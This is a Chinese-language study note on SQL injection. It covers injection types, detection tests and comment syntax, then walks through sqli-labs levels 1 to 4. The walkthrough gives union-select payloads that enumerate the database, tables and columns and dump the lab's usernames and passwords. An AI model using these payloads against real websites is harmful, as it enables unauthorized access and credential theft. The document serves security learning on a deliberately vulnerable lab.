SQL注入基础学习
SQL注入基础
一、sql注入的基本知识
Ⅰ、sql注入原理
通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。通常未经检查或者未经充分检查的用户输入数据或代码编写问题,意外变成了代码被执行。
产生漏洞的条件:
- 参数用户可控
- 参数带入数据库查询
Ⅱ、都有哪些注入类型
1.按请求类型区分
-
get型
-
post型
-
Cookie注入
2.按注入数据类型区分
- 数字型
- 字符型
- 搜索型:
select * from users where username like '%念%'
3.其他(按sqlmap中的分类)
- 布尔盲注
- 堆叠注入
- 宽字节注入
- 联合注入
- 第一 先判断是数字还是字符 先判断列 然后看回显的地方 查数据库 查表 查字段 最后拿到我们的账号密码
- 报错注入
- 有回显 联合注入 报错注入会用哪些函数呢(extractvalue、updatxml 、 exp 、floor)
- 无回显1 (不是完全没有回显)布尔盲注true false
- 无回显2 完全没有回显 dnslog注入(出网) 时间盲注
- 时间盲注
Ⅲ、如何判断是否存在注入
-
有回显(页面有数据,信息的返回)
id=1 and 1=1 id=1 and 1=2 id=1 or 1=1 id='1' or '1'='1' id="1" or "1"="1" 最常用的可以输入一个‘单引号测试
-
无回显(使用sleep函数等)
Ⅳ、三种sql注释符
#
:单行注释,常被编码为%23
--空格
:单行注释
/*()*/
:多行注释
/**/
:常用来作为空格
Ⅴ、注入流程
- 测试是否存在注入点并且判断注入类型
- 判断字段数,用
order by
等 - 确定回显位
- 查询数据库信息
- 查询表等
二、靶场实操(开始先学习手工,后面的话,可以采用sqlmap等自动化工具)
靶场采用sqli-labs
1、第1关
-
先在网址后面输入
?id=1
,页面会正常输出,如图所示 -
判断是否存在注入点并确定注入类型(
id=1'(常见)id=1" id=1') id=1')) id=1") id=1"))
,输入后根据返回包的长度或者报错来确定是否存在注入点)-
在id=1后面加符号来判断注入点,经过测试,发现注入点存在,当输入
id=1‘
时,页面会报错,说明存在注入点 -
输入
?id=2-1
,如果与id=1的页面相同,则是数字型,如果与id=2的页面相同,则是字符型,经过测试是字符型注入,如下图,页面与id=2的一样
-
-
判断字段个数,利用
order by
来判断,当输入?id=1' order by 4--+
时,页面报错,在将4换成3,页面不报错的话,就说明有3个字段,如图所示,(?id=1' order by 4--+
,页面会报错) -
判断回显位,利用联合注入。
?id=-1' union select 1,2,3--+
id输入一个不存在的值,如果输入1的话,页面会输出id=1的页面信息,经过测试后发现回显位是2,3.
-
查询数据库信息,查询数据库名和用户名信息,数据库为
security
?id=-1' union select 1,database(),user()--+
-
查询数据库中表的信息,查询出来有四张表,选择看起来有用的users来查询
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
-
查询users表中的信息
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
-
查询
username
和password
字段?id=-1' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+
2、第2关
/*判断字符还是数字,利用符号和id=2-1来判断*/
经过测试,是数字型的注入,采用联合注入。
/*利用order by来测试出字段数*/
字段数为3
/*判断回显位*/
union select 1,2,3--+
/*回显位是2,3*/
/*查看数据库以及当前用户名*/
union select 1,database(),user()--+
/*获得数据库名为 security ,用户名为 root@localhost*/
/*获取数据库中表的信息*/
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
/*获得表mails,referers,uagents,users*/
/*选择users表,获取表的字段*/
union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
/*获得字段id,username,password*/
/*获取username,password字段中的信息*/
union select 1,(select group_concat(username,'^',password) from users),3--+
/*
获得信息,用户名和密码之间用^符号连接
Dumb^Dumb,Angelina^I-kill-you,Dummy^p@ssword,secure^crappy,stupid^stupidity,superman^genious,
batman^mob!le,admin^admin,admin1^admin1,admin2^admin2,admin3^admin3,dhakkan^dumbo,admin4^admin4
*/
3、第3关
/*字符型注入,闭合方式为')*/
后面的代码和第二关一样
4、第4关
/*字符型注入,闭合方式为")*/
后面的代码和第二关一样